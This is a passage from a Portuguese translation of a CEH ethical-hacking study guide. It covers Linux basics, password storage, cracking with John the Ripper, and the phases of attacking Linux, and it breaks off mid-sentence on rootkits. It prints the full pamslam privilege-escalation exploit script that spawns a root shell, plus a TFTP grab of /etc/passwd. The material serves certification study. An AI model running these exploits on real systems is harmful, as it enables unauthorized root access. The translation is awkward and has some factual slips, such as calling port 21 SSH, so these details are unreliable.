Baixe o app para aproveitar ainda mais
Prévia do material em texto
1 Tradução: Roque Cerávolo Capítulo 5 Capítulo 5. Linux e ferramentas de avaliação automática de Segurança. Este capítulo ajuda a preparar para o Certificado Hacker Ético do Exame CE-Conselho (CEH)., abrangendo as seguintes objetivos do CE-Conselho que incluem a compreensão dos aspectos do negócio de testes de penetração. Isso inclui itens como: Identificar a estrutura de arquivos do Linux e diretórios comuns. Tudo no Linux é um arquivo. Esses arquivos são organizados em um sistema de pastas e diretórios. Diretórios comuns em Linux incluem etc. A pasta contém configurações específicas de acolhimento e os arquivos passwd e shadow. Entenda comandos básicos do Linux. Comandos básicos do Linux incluem ls, cat, more, cd, e vi. Identificar o usuário root e saber as IDs de usuário e de grupo. Acesso para usuários e processos do sistema é atribuído um ID de usuário (UID) e um ID de grupo (GID). Root (Raiz) tem um UID de 0 e um GUID de 0. Descreva como programas Linux são compilados, carregados, e comprimidos. Compilando no Linux geralmente requer três etapas. Identificar como o Linux é hackeado. 2 Linux é hackeado, seguindo a mesma metodologia básica como Windows, que é: Reconhecimento, varredura e enumeração, o acesso, a escalada de privilégios, mantendo o acesso, e cobrindo faixas e colocação de backdoors. Descrever como o Linux é seguro. Linux é seguro por praticar defesa em profundidade. Isto significa garantir fisicamente e logicamente, aplicação de patches, desligando serviços não utilizados, endurecimentos, e aplicações de outras medidas de defesas. Explicar rootkits e contramedidas. Os rootkits são um conjunto de ferramentas que permitem que um hacker possua um sistema. Eles normalmente oferecem um acesso backdoor, coletam informações sobre outros sistemas na rede, permitim a operação de processos ocultos, e muito mais. Discutir os diferentes tipos de instrumentos de avaliação automatizados. Estas ferramentas podem escanear um grande número de sistemas e permitem que hackers éticos se concentram em áreas-chave. Estas ferramentas variam de freeware a comercial. Estratégias de estudo. Este capítulo aborda as informações que você precisa saber sobre as ferramentas de avaliação Linux e automatização. Para ganhar uma compreensão mais profunda dos temas: Carregar o Linux e se familiarizar com a estrutura do arquivo. Praticar o uso de ferramentas como John the Ripper. Compreender os caminhos que o Linux é hackeado. Especificar as formas que o Linux pode ser seguro. Descrever pormenorizadamente a estrutura do arquivo passwd. Entender os diferentes tipos de instrumentos de avaliação e saber a diferença entre os scanners de código fonte da aplicação, scanners, monitores e scanners de nível de sistema. Descrever como automatizar exploração usando toolssuch como Metasploit e Impacto Core. Introdução Este capítulo apresenta o Linux. Linux é usado para alimentar muitos dos servidores encontrados ao redor 3 do mundo. É um sistema operacional robusto e completo. Ele é o favorito de um hacker, porque é fácil para desenvolver programas, e é uma grande plataforma para construir e testar ferramentas de segurança. Nós olhamos para o Linux básico, como as senhas são armazenadas, e o formato que eles são armazenados Hacking dentro do Linux também é discutido, e você começará a ver que, embora as ferramentas de hacking podem mudar, todo o processo é o mesmo que a pirataria do Windows. A segunda metade do capítulo olha para ferramentas de avaliação automatizadas. Se você ainda tem de realizar quaisquer avaliações de segurança ou testes de penetração, você vai descobrir o quão importante essas ferramentas podem ser. Com limitados recursos humanos e de tempo, ferramentas de segurança automatizadas podem ser uma grande ajuda no preenchimento de lacunas. Ferramentas de avaliação automatizadas podem ser usadas para escanear códigos, aplicativos ou redes inteiras, dependendo do seu design. Algumas das mais populares ferramentas de avaliação automatizados incluem FLAWFINDER, o Nessus, Saint, e Metasploit. Cada uma delas é examinada neste capítulo. Linux Linux é um sistema operacional baseado em UNIX. O Linux foi originalmente criado por Linus Torvalds com a ajuda de programadores de todo o mundo. Se você é novo no Linux, isso deve servir como uma oportunidade para conhecer o sistema operacional (OS) um pouco melhor. Os benefícios de usar Linux é que ele é econômico, bem concebido, e oferece bom desempenho. Distribuições Linux são facilmente disponíveis e podem ser baixados para qualquer sistema. Linux vem em diversos sabores, incluindo Red Hat, Debian, Mandrake, SUSE, e assim por diante. Algumas versões especializadas de Linux têm sido desenvolvidos para um propósito específico. Algumas delas incluem Knoppix, Trinux, Auditor, e assim por diante. A melhor maneira de aprender Linux é apenas usando-o. É por isso que uma cópia do Linux está incluído no CD. Você pode usar os arquivos de instalação do Linux no CD para carregar o Linux em um disco rígido do sistema ou fazer um CD, para obter mais informações, confira o Apêndice B, "Preparando o sistema para o Knoppix-STD". Se você está à procura de outras versões do Linux que foram personalizados para o trabalho de segurança e testes de penetração, verifique a lista de conteúdo em www.frozentech.com/content/livecd.php.. Linux é de código aberto, o que significa que ele pode ser distribuído gratuitamente e você tem o direito de modificar o código-fonte. Linux também é fácil de desenvolver seus próprios programas. Esta é uma das razões que você vai ver muitas ferramentas de segurança liberadas no Linux bem antes mesmo de fazer uma estréia no mundo Windows. Esta seção do Capítulo dá uma olhada no Linux, analisa alguns dos princípios básicos, olha para algumas ferramentas do Linux, e discute como o Linux é usado por hackers, bem como a forma como ele é hackeado. Estrutura do arquivo Linux Objetivo: Identificar a estrutura de arquivos do Linux e diretórios comuns. O sistema de arquivos Linux é a estrutura em que todas as informações no computador são armazenados. Os arquivos são armazenados dentro de uma hierarquia de diretórios. Cada diretório pode 4 conter outros diretórios e arquivos. Diretórios comuns no sistema de arquivos Linux podem ser vistos na Figura 5.1. Barras são usadas para separar nomes de diretórios em Linux. Unidades físicas são tratadas de maneira diferente do que o DOS. O diretório / usr poderia estar em um disco rígido separado, ou / mnt pode conter uma pasta chamada / armazenamento que é na verdade uma unidade de outro computador. Alguns dos diretórios mais comuns encontrados em um sistema Linux são descritos aqui: / Representa o diretório raiz. / bin Contém comandos comuns de usuários Linux, como ls, data de classificação, e chmod. / dev Contém arquivos que representam os pontos de acesso a dispositivos em seus sistemas. Estes podem incluir disquetes, discos rígidos e CD-ROMs. / etc Contém arquivos de configuração administrativa, o arquivo passwd, e o arquivo de sombra (shadow). / home Contém os diretórios home dos usuários. / mnt Fornece um local para dispositivos de montagem, tais como CD-ROMs e disquetes. / sbin Contém comandos administrativos e processos daemon. 5 / usr Contém documentação do utilizador, os ficheiros gráficos, bibliotecas, assim como uma variedade de outros utilizadores e comandos administrativose arquivos. Alerta de exame Certifique-se de que você sabe e entender a estrutura básica de arquivos Linux. Diretórios e arquivos em um sistema Linux são configurados para que o acesso possa ser controlado. Quando você efetuar login no sistema, será identificado por uma conta de usuário. Além de sua conta de usuário, você pode pertencer a um grupo ou grupos. Portanto, os arquivos podem ter permissões de conjunto para um usuário, um grupo, ou outros. Por exemplo, o Linux Red Hat suporta três grupos padrões: super usuários, usuários do sistema, e usuários normais. De acesso para cada um destes grupos tem três opções: Ler Escrever Executar Para ver as permissões atuais, o proprietário e de grupo para um arquivo ou diretório, digita o comando ls-l. Isto irá exibir o conteúdo do diretório que você está com os privilégios para o usuário, grupo e todos os outros. Por exemplo, a lista de um arquivo chamado demofile e o diretório demodir seria semelhante ao seguinte: drwxr-xr-x 2 mikeg users 32768 Nov 20 00:31 demodir -rw-r--r-- 1 mikeg users 4108 Nov 16 11:21 demofile As permissões são listados na primeira coluna. A primeira letra é se o item é um diretório ou um arquivo. Se a primeira letra é d, o item é um diretório, como no primeiro item listado anteriormente, demodir. Para o demofile arquivo, a primeira letra é -. Os próximos nove caracteres denotam acessar e tem a seguinte forma, rwx | rwx | rwx. Lista os três primeiros direitos de acesso do usuário, portanto, para demodir, o usuário ler, escrever e executar privilégios. Os próximos três bits denotam os direitos de grupo, portanto, o grupo ler e executar privilégios para a pasta demodir. Finalmente, os últimos três bits especificam o acesso de todos os outros têm para a pasta demodir. Neste caso, eles têm de ler e executar privilégios. A terceira coluna, mikeg, especifica o proprietário do arquivo / diretório, e a quarta coluna, os usuários, é o nome do grupo para o arquivo / diretório. O único que pode modificar ou excluir qualquer arquivo neste diretório é o mikeg proprietário. O comando chmod é usado por um proprietário do arquivo ou administrador para alterar a definição de permissões de acesso a um arquivo ou conjunto de arquivos. Chmod pode ser utilizada nos modos simbólicas e absoluto. Ofertas simbólicas com símbolos como rwx, enquanto ofertas absolutos com valores octais. Para cada um dos três conjuntos de permissão de um FILEREAD, escrever e executeRead é atribuído o número 4, de escrita é atribuído o número 2, e executar é atribuído o número 1. Para certificar-se de que 6 as permissões estão bem abertos para si mesmo, o grupo e todos os usuários, o comando seria chmod 777 demofile. Alerta de exame Você precisa entender o equivalente binário de arquivo e as permissões de acesso à pasta. Como um exemplo, a representação binária de rwxr - r - seria 744. Linux Básico Objetivo Entender os comandos básicos do Linux Identificar o usuário root e saber o sua ID de usuário e grupo O objetivo desta seção é revisar alguns conceitos básicos de Linux. Apesar de uma grande quantidade de trabalho pode ser feito a partir da GUI Linux, você ainda vai precisar de operar a partir da janela de terminal ou shell. A janela de terminal é semelhante ao prompt de comando do Windows. Se você entrar como root e abrir uma janela de terminal, você deve ver algo semelhante a isto: [root @ rh /] #. O sinal # é o mais importante aqui, pois denota que você está como root. Root é Deus no mundo do Linux. Isto significa que a raiz tem controle total do sistema e mantém o mais alto nível de privilégio. Você vai querer se certificar de que adequadamente executa comandos como root, enquanto trabalhava, porque ao contrário do Windows, o Linux não pode oferecer-lhe instruções ou avisos antes de executar um comando crítico. É importante que você saiba alguns comandos básicos do Linux e suas funções. Alguns dos comandos básicos são fornecidos na Tabela 5.1. Comando Descrição cat Lista de conteúdo de um arquivo Cd Mudança de Diretório chmod Mudança de arquivos e pastas direitos e propriedade cp O comando de cópia history Mostra o histórico de até 500 comandos ifconfig Semelhante ao ifconfig do ipconfig no Windows kill Matar um processo em execução, especificando o PID ls Lista o conteúdo de uma pasta man Abre as páginas do manual mv Para mover arquivos e diretórios passwd Para alterar sua senha ps Status do processo pwd Imprime o caminho do diretório de trabalho rm Remove um arquivo rm-r Remove um diretório e todo o seu conteúdo 7 Ctrl P Pausa um programa Ctrl B Coloca o programa atual para o fundo Ctrl Z Coloca o programa atual para dormir Assim como no mundo da Microsoft, usuários de Linux devem ser geridos de uma forma organizada. Acesso para usuários e processos do sistema é atribuído um ID de usuário (UID) e um ID de grupo (GID). Os grupos são agrupamentos lógicos de usuários que têm necessidades semelhantes. Esta informação está contida no arquivo / etc / passwd. Como um hacker ético, é importante que você compreenda a importância deste arquivo. Um exemplo é mostrado aqui: [root@mg /root]# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: operator:x:11:0:operator:/root: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/home/ftp: xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false named:x:25:25:Named:/var/named:/bin/false john:x:500:500:John:/home/jn:/bin/bash clement:x:501:501:Clement:/cd/:/bin/csh betty:x:502:502:Betty:/home/bd:/bin/pop mike:x:503:503:Mike:/home/mg:/bin/bash Você vai notar que root é a primeira conta na lista. Root é sempre atribuído a 0 UID e 0 GID. Outros usuários especiais e contas associadas a serviços e daemons são listados após root e têm valores abaixo de 100. Red Hat começa com usuários regulares em um UID de 500. Vamos dar uma olhada em cada campo e discutir o seu significado. Olhe para a última listagem, que é o registro de Mike, e vamos analisar cada campo e seu significado. Os campos são denotados por dois pontos. 1- O nome de usuário é o primeiro campo. Maiúscula inicial não é usado para evitar confusão com superior/minúsculas. 2- segundo campo contém a senha criptografada. Você pode notar que o campo é marcado por um x, neste caso, é porque esse sistema Linux em particular é o uso de senhas sombra, que são realizadas no arquivo / etc / shadow. O arquivo shadow é usado para aumentar a segurança e está localizado em / etc / shadow. Senhas shadow são discutidos de forma mais completa, mais adiante neste capítulo. 3- O terceiro campo é o UID. UID Mike é 503. Qualquer arquivo Mike possui ou cria terá este número associado a ele. 4- O quarto campo é o GID. GID Mike é 503. Você vai notar que a GID e UID são os mesmos, assim como a outros usuários listados no arquivo de senha mostrada anteriormente. 8 Este é o projeto sob o Red Hat, uma abordagem chamada de grupos de usuários privados. 5- O quinto campo é a descrição do usuário. Esta área possui informações descritivas sobre o usuário. Por vezes, pode conter números de telefone, paradas de correio, ou alguma outra informação de contato. Esta não é uma boa idéia de como ele pode ser relatado pelo utilitário finger. 6-O sexto campo é o diretório home do usuário. Quando o usuário é autenticado, o programa de login utiliza este campo para definir variável $ HOME do usuário. Por padrão, em todas as distribuições Linux, o diretório home do usuário será assumido ser / home / username. 7- O sétimo campo e último é o Shell de login do usuário. Quando o usuário é autenticado, o programa de login também define o SHELL usuários com variável $ a este campo. Por padrão, em todas as distribuições Linux, o shell de um novo usuário de login será definido por / bin / bash, o Bourne Again Shell. Adicionar usuários ao Linux é um processo bastante simples. Apenas o comando useradd. De todos os usuários, o que exige uma maior proteção é a conta root, porque ela deve ser segura. Embora os arquivos como passwd sejam lidos por todos, o arquivo shadow é legível apenas pelo usuário root. Se um atacante pode obter acesso à conta root, ele tem, essencialmente, tomado o controle do computador a partir de você. Por esta razão, a conta root deve ser protegida no nível mais alto. Isso significa que uma grande quantidade de tempo que os usuários exercem as suas funções em um computador Linux com uma conta diferente de root. No entanto, algumas funções exigem que você as execute como root. Para essas ocasiões, você vai querer usar o Substituto do usuário de comando (SU). O comando SU lhe permitirá desempenhar funções como um usuário diferente daquele que você está logado. O comando é simplesmente <username> su. Senhas e o arquivo shadow Linux requer que as contas de usuários tenham uma senha, mas por padrão, não vai impedi-lo de começar um um jogo em branco. Durante a instalação, o Linux dá ao usuário a opção de configurar o padrão de criptografia de senha. A maioria das versões do Linux, como a Red Hat, usa MD5 por padrão. Se você optar por não usar MD5, você pode escolher DES, embora limita as senhas a oito caracteres alfanuméricos. Linux também inclui o arquivo / etc / shadow para segurança de senha adicional. Dê uma olhada em uma entrada de um arquivo / etc / shadow aqui: root:$1$Gjt/eO.e$pKFFRe9QRb4NLvSrJodFy.:0:0:root:/root:/bin/bash Movendo as senhas para shadow torna menos provável que a senha criptografada possa ser decifrada, pois somente o usuário root tem acesso ao arquivo shadow. O formato do arquivo de senha é formatado como segue: Account_name:Password:Last:Min:Max:Warn:Expire:Disable:Reserved 9 Se você estiver conectado em um root e gostaria de ver as senhas em shadow em seu computador, use o seguinte comando: more /etc/shadow Outro fato interessante sobre sistemas Linux é que as senhas usam sais. Sais são necessários para adicionar uma camada de aleatoriedade para as senhas. Porque MD5 é um algoritmo de hash, isso significa que se eu usasse "segredo" para a minha senha e outro usuário usado "segredo" para a sua senha, valores criptografados seria o mesmo. Um sal pode ser um dos valores de 4096 e ainda ajuda a embaralhar a senha. No Linux, a senha MD5 é de 32 caracteres e começa com $ 1 $. Os caracteres entre o segundo e terceiro $ representar o sal. No exemplo anterior, o valor que é GJT / eO.e. Senhas criadas desta maneira são consideradas de ser one way. Isto é, não há uma maneira fácil de reverter o processo. Figura 5.2 demonstra como o Linux cria este valor. Dica Como o arquivo passwd é legível ao mundo, as senhas devem ser armazenados no arquivo shadow. O arquivo shadow não é a única maneira de ajudar a proteger contra invasores que tentam evitar o processo de autenticação. Há outras formas mais avançadas para proteger os recursos. As senhas são um das mais fracas formas de autenticação. Há também algo que você tem (tokens) e algo que você é (biometria). Se um novo esquema de autenticação que vai ser utilizada, é necessário que haja uma forma de alertar as aplicações para esse fato sem ter que reescrever cada parte do código já desenvolvido. A resposta a este desafio é Pluggable Authentication Modules (PAM). PAM permite que um programa projetado para renunciar a preocupação dos tipos de autenticação que serão executadas e se concentrar no próprio aplicativo. PAM é usado pelo FreeBSD, Linux, Solaris e outros. Seu papel é controlar a interação entre o usuário e autenticação. Isso pode ser telnet, ftp, login no console, ou alterar uma senha. PAM apoia os regimes mais fortes de autenticação, como o Kerberos, S / Key, e RADIUS. O diretório que contém os módulos específicos para o PAM está em / etc / pam.d /. Alerta de Exame Entender o que são sais e porque eles são usados. Toda essa conversa de senhas traz a questão da segurança da senha. Assim como no mundo da Microsoft, o Linux também tem uma série de ferramentas de quebra de senha disponível. John the Ripper é uma dessas ferramentas (http://www.openwall.com/John/). É, provavelmente, a mais conhecida, mais versátil, mais rápida programa de quebra de senhas atual. O melhor de tudo, é gratuito e suporta seis esquemas diferentes de hash de senha que cobrem vários sabores de UNIX e Windows LANMan hashes. Pode usar listas de palavras especializadas ou regras de senha com base no 10 tipo de personagem e colocação. Roda em mais de 12 diferentes sistemas operacionais. Vem pré- instalado em muitas distribuições Linux. Está incluído na versão do Linux Knoppix encontrado no CD neste livro. Antes de sair e começar a quebrar senhas, gaste alguns minutos para verificar as várias opções emitindo -./john-h na linha de comando. Você pode verificar que John funciona executando em modo de teste. Irá gerar uma velocidade de linha de base para o seu sistema de craqueamento. [root@mg /root]#./john -test Benchmarking: Traditional DES [32/32 BS]... DONE Many salts: 160487 c/s real, 161600 c/s virtual Only one salt: 144262 c/s real, 146978 c/s virtual Benchmarking: BSDI DES (x725) [32/32 BS]... DONE Many salts: 5412 c/s real, 5280 c/s virtual Only one salt: 5889 c/s real, 5262 c/s virtual Benchmarking: FreeBSD MD5 [32/32 X2]... DONE Raw: 3666 c/s real, 3246 c/s virtual Benchmarking: OpenBSD Blowfish (x32) [32/32]... DONE Raw: 241 c/s real, 227 c/s virtual Benchmarking: Kerberos AFS DES [24/32 4K]... DONE Short: 70438 c/s real, 72263 c/s virtual Long: 192506 c/s real, 200389 c/s virtual Benchmarking: NT LM DES [32/32 BS]... DONE Raw: 1808844 c/s real, 1877553 c/s virtual Reveja os resultados do MD5 FreeBSD e benchmarks NT LM DES. As rachaduras por diferença (c / s) segundos entre os dois é um fator de mais de 500, o que significa que um ataque de força bruta completo levará mais de 500 vezes o tempo contra os hashes de senha no sistema FreeBSD do que contra um sistema Windows. Um desses sistemas que você prefere mantem os dados críticos? Depois de toda essa conversa sobre quebra desenhas, você pode querer dar uma chance a si mesmo. Se assim for, faça o exercício do desafio abaixo. Alerta de exame Candidatos ao teste devem saber como os programas de quebra de senha, como John the Ripper, trabalham. Desafio Proteção de senhas é tão importante em qualquer plataforma como construir senhas robustas. Este desafio terá que criar senhas de complexidade diferentes e tentar quebrá-las. O objetivo é ver a rapidez com senhas fracas podem ser quebradas. Você vai precisar de uma cópia do Linux e John the Ripper para realizar este exercício. É sugerido que você use a cópia do Linux incluído no CD com este livro. Ela pode ser carregada em um segundo CD que será auto-arranque. Como alternativa, você também pode fazer download de DST Knoppix em: www.knoppix-std.org e instaleem um cd. 1) Iniciar o CD Knoppix STD. 2) Abrir uma janela de terminal e vá para o diretório john. Digite cd / etc / john. 11 3) Antes de tentar quebrar as senhas existentes, entre mais alguns usuários para ver o quão rápido as senhas podem ser quebradas. Use o comando adduser para adicionar três usuários. Nomeie os três usuários user1, user2 e user3. Defina a senha para cada usuário com password, ssw0rd P @ e! P @ ssw0rd1. Por exemplo, para adicionar o usuário user1 com o diretório home / home/users/user1, digite o seguinte comando: adduser usuário1-d / home/users/user1. Em seguida definir a senha. Para fazer isso, digite o seguinte comando: passwd username (onde username é o nome do novo usuário) 4) Após os três usuários foram adicionados, você vai querer executar John. Isso pode ser feito digitando . / John / etc / shadow a partir da linha de comando. 5) Dê um tempo para ver quanto tempo leva para cada senha para ser quebrada. Registrar esses momentos aqui: User1: _____ Usuário2: _____ Usuário3: _____ Você notou uma correlação entre o tempo que levou para quebrar uma senha versus a complexidade da senha? Você deve ter visto que as senhas mais complexas demoram mais para se recuperar. John the Ripper é uma ferramenta maravilhosa para hackers éticos para testar a força da senha, no entanto, ela não foi projetado para a atividade ilegal. Antes de usar esta ferramenta em uma rede de produção, certifique-se que você tenha autorização por escrito da gerência maior. John the Ripper realiza diferentes tipos de quebras: modo único; dicionário, ou o modo de lista de palavras, a realizada neste exercício, que aplica uma lista de dicionário de senhas para comparação, e força bruta ou o modo incremental, que é o mais lento dos três modos e tenta todas as combinações de letras e números. John the Ripper é portátil para vários sabores de UNIX, Linux e Windows, embora ele não tenha uma interface gráfica. Comprimindo, Instalando e Compilando o Linux Objetivo: Descrever como programas Linux são compilados, carregadas, e comprimidas. Em Linux, arquivos são empacotados e compactados de várias maneiras. Um dos formatos de compressão mais comuns é o programa de arquivamento em fita (Tar). Tar é um arquivo padrão e foi originalmente desenvolvido como software de backup para UNIX. Ela recolhe vários arquivos em um único arquivo. Ele não faz a compactação de arquivos e, portanto, um segundo programa é necessário. Um programa chamado gzip é um dos programas de compressão mais comuns de arquivo. Compilando um pacote de uma fonte de código tarball nem sempre é um procedimento simples. Após descompactar o pacote, você deve procurar por um arquivo chamado README, README.INSTALL, README.CONFIGURE, ou algo similar. Este arquivo geralmente descreve o processo de configuração e instalação. Freqüentemente, o pacote fonte inclui um script chamado configure, que você executa para ter o pacote de auto detecção de bibliotecas instaladas do seu computador e configurar-se de forma adequada. Se assim for, o processo inclui três comandos: 12 ./configure make make install Dica: Certifique-se de que você sabe como saber se a senha foi colocada no shadow (shadowded). Dica Conheça os três comandos usados para compilar um programa em Linux. Você pode querer desenvolver programas de si mesmo, e se assim for, o Linux oferece-lhe essa capacidade. Linux vem com o compilador GNU C (GCC). Esta capacidade também vem a calhar quando você baixar um programa em C a partir de um site de segurança ou gostaria de verificar um pedaço de código de exploração. Com o Linux, muitos programas não podem ser cumpridos para você. O processo de compilação não é muito difícil, e um programa básico e os passos necessários para compilá-lo são mostrados aqui: [root@mg /root]#.vi hello.c #include <stdio.h> int main(int argc, char ** argv) { printf("Hello world!\n"); return 0; } [root@mg /root]#. gcc -o hello hello.c [root@mg /root]#. ./hello Hello world! Em primeiro lugar, o código de programa foi escrito, neste caso, o editor vi foi usado. Em seguida, ele foi compilado com o comando gcc-o. Finalmente, ele foi executado por executá-lo a partir da janela de terminal. / Olá. Note o. / Na frente do comando. Isso garante que o Linux procure no diretório local para o executável especificado. Hackeamento do Linux Objetivo Mostrar com o Linux é hackeado Hacking de Linux segue a mesma metodologia de base discutida ao longo do livro. As etapas são amplamente divididas em seis fases: 1) Reconhecimento. 2) Escaneamento e enumeração. 3) Ganhar acesso. 4) Aumento de privilégio. 13 5) Manutenção do acesso. 6) Cobrir faixas e colocação de backdoors. Cada uma dessas fases é discutida em mais detalhe para que você entenda melhor como essas etapas se aplicam a sistemas Linux e UNIX. Reconhecimento Reconhecimento é a coleta de informações sobre passivo e ativo. Isso pode ser por escaneamento do site organizacional, revendo postagens de emprego, procura nas lixeiras, engenharia social, ou usar qualquer das outras formas discutidas no Capítulo 2, "os fundamentos técnicos do Hacking". Dica. As mesmas técnicas básicas utilizadas para atacar sistemas Linux também podem ser usadas para atacar computadores com Windows. Estas incluem informações técnicas passivas e ativas de coleta de lixo, como mergulho, exploração portuária, rever o site, ler anúncios de emprego, e assim por diante. Escanear Escanear encontra os anfitriões e determina que portas e aplicações que possam estar em execução. Aqui, você pode ver os resultados que vão começar a diferenciar os sistemas Windows e Linux. Uma grande pista é portas abertas, como 21, 37, 79, 111 e 6000. Aquelas representam programas, como o Secure Shell (SSH), tempo, finger, sunrpc e X11. Porto scanners e fingerprinting de software OS serão as ferramentas do comércio. Como um exemplo, considerar uma varredura executado em um sistema Linux: [root@mg /root]# nmap -O 192.168.13.10 Starting nmap V. 3.93 (www.insecure.org/nmap/) Interesting ports on unix1 (192.168.13.10): (The 1529 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 23/tcp open telnet 25/tcp open smtp 37/tcp open time 79/tcp open finger 111/tcp open sunrpc 139/tcp filtered netbios-ssn 513/tcp open login 1103/tcp open xaudio 2049/tcp open nfs 4045/tcp open lockd 6000/tcp open X11 7100/tcp open font-service 32771/tcp open sometimes-rpc5 32772/tcp open sometimes-rpc7 32773/tcp open sometimes-rpc9 32774/tcp open sometimes-rpc11 32775/tcp open sometimes-rpc13 32776/tcp open sometimes-rpc15 14 32777/tcp open sometimes-rpc17 Remote operating system guess: Solaris 2.6 - 2.7 Uptime 319.638 days (since Wed May 14 19:38:19 2005) Nmap run completed -- 1 IP address (1 host up) scanned in 7 seconds Observe que as portas mostrados a partir deste exame são muito diferentes do que foi visto a partir do Windows no início do livro. Portas como 37, 79, 111, e 32.771 são mostradas como abertas. Você também vai querer perceber que o Nmap identificou o sistema operacional como Solaris. Enumeração O escaneamento é apenas o começo. Depois de qualquer tipo de sistema Linux ou UNIX é encontrado, ele ainda vai exigir aindamais de sondagem para determinar o que está funcionando. Embora explorando a sessão nula do Windows pode estar fora de questão, você ainda pode usar ferramentas, como bandeira agarradas. Mais importante, se você acha que o alvo é algum sabor de UNIX, você tem acesso a alguns programas que não são encontrados no mundo do Windows. Por exemplo, Finger, rwho, rusers, e Simple Mail Transfer Protocol (SMTP) podem ser usados para alavancar ainda mais o seu conhecimento. Finger é um programa que diz a você o nome associado a um endereço de e-mail. Pode também dizer-lhe se os usuários estão conectados no momento no seu sistema ou o seu início de sessão mais recente e possivelmente outras informações, dependendo dos dados que são mantidos sobre os usuários no computador. Figer originou-se como parte do BSD UNIX. Rwho e rusers são chamada de serviços de procedimento remoto (RPC) que podem dar informações sobre os vários usuários do sistema. Executando p rpcinfo contra o sistema vai permitir que um invasor descobra o estado de rwho e rusers. Rusers depende do daemon rwho. Ele lista os usuários conectados a todas as máquinas locais, em que formato (nome do host, nome de usuário). Outra ferramenta potencial para usar a enumeração é Simple Mail Transfer Protocol (SMTP). SMTP às vezes pode ser útil na identificação de usuários. Atacantes ganham esta informação usando o vrfy SMTP (verificar) e EXPN (expandir) comandos. Estes comandos podem ser usados para adivinhar utilizadores no sistema. Simplesmente nomes de entrada, e se o usuário existe, você receberá de volta um endereço de e-mail RFC822 com o sinal @. Se o usuário não existir, você vai receber de volta um "usuário desconhecido" mensagem de erro. Apesar de um nome de usuário não ser suficiente para o acesso, já é a metade do que é necessário para entrar na maioria dos sistemas. Ganhando acesso Depois de um sistema foi digitalizado e enumerou, o próximo passo é obter acesso. Tentativas de ganhar acesso pode ocorrer remotamente ou localmente. Ataques remotos são principalmente realizadas através de um dos quatro métodos. 1) Explorar um processo ou programa. 15 2) Explorar um Transmission Control Protocol (TCP) ou User Datagram Protocol (UDP) ouvindo serviço. 3) Explorar vulnerabilidades em um sistema que está fornecendo serviços de roteamento e fornecer segurança entre duas ou mais redes. 4) Explorar o usuário fazendo-o iniciar algum tipo de ação como a execução de um anexo de e-mail ou visitar um site hostil. Independentemente de qual método é usado, a idéia é obter algum tipo de shell da máquina da vítima. Isto pode ser tão estúpido como adivinhar nomes de usuários e senhas para ataques mais avançadas em canais de fundo que dependem do sistema da vítima para empurrar o shell para o atacante. Vejamos um exemplo simples de explorar um programa. Se a vítima é encontrada estar executando TFTP, você pode tentar levar a vítima a entregar arquivos críticos. root@mg /root]# tftp 192.168.13.50 tftp> get /etc/passwd /root/passwdhack.txt Received 1015 bytes in 0.0 seconds tftp> quit [root@mg /root]#more passwdhack.txt root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: operator:x:11:0:operator:/root: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/home/ftp: xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false named:x:25:25:Named:/var/named:/bin/false john:x:500:500:John:/home/jn:/bin/bash clement:x:501:501:Clement:/cd/:/bin/csh betty:x:502:502:Betty:/home/bd:/bin/pop mike:x:503:503:Mike:/home/mg:/bin/bash Embora você possa obter o arquivo passwd, você deve ter notado que as senhas foram sombreadas. Este não foi um completo sucesso, no entanto, o atacante foi capaz de recuperar uma lista de usuários no sistema. Nota É importante especificar um diretório de destino ao utilizar TFTP para obter etc do host remoto / / passwd. Caso contrário, você vai substituir seu próprio arquivo / etc / passwd. Escalação de Privilégios. 16 Escalação de privilégios pode ser melhor descrito como o ato de alavancar um bug ou vulnerabilidade em um sistema operacional ou aplicativo para ter acesso aos recursos, que normalmente teria sido protegido de um usuário médio. Estes são os ataques que normalmente são executados localmente e estão preocupados com o aumento de privilégio. O objetivo é forçar um aplicativo para executar ações que são executadas dentro de um contexto de maior segurança do que o pretendido pelo designer, e que ao hacker é concedido acesso local e controle total. Um exemplo de um ataque local é a vulnerabilidade pamslam encontrado em algumas versões antigas do Linux: # pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start # found by dildog@l0pht.com cat > _pamslam.c << EOF #include<stdlib.h> #include<unistd.h> #include<sys/types.h> void _init(void) { setuid(geteuid()); system("/bin/sh"); } EOF echo -n . echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf chmod 755 _pamslam.conf echo -n . gcc -fPIC -o _pamslam.o -c _pamslam.c echo -n o ld -shared -o _pamslam.so _pamslam.o echo -n o chmod 755 _pamslam.so echo -n O rm _pamslam.c rm _pamslam.o echo O /usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf sleep 1s rm _pamslam.so rm _pamslam.conf Mantendo o acesso e Cobertura de Pistas. Objetivo: Explicar rootkits e contramedidas Depois de um atacante está em um sistema Linux e se fez root, ele vai se preocupar com a manutenção do acesso e cobrir suas trilhas. Uma das melhores maneiras de manter o acesso é com um rootkit. Um rootkit contém um conjunto de ferramentas e executáveis de reposição para muitos dos componentes críticos do sistema operacional. Uma vez instalado, um rootkit pode ser usado para ocultar provas da presença do intruso e para permitir o acesso do backdoor invasor para o 17 sistema. Rootkits requerem acesso root, mas em troca eles dão ao invasor controle completo do sistema. O atacante pode ir e vir à vontade e esconder suas atividades a partir do administrador. Rootkits podem conter produtos de limpeza de registro que tentam remover todos os vestígios da presença de um atacante a partir dos arquivos de log. Rootkits podem ser divididos em dois tipos básicos: 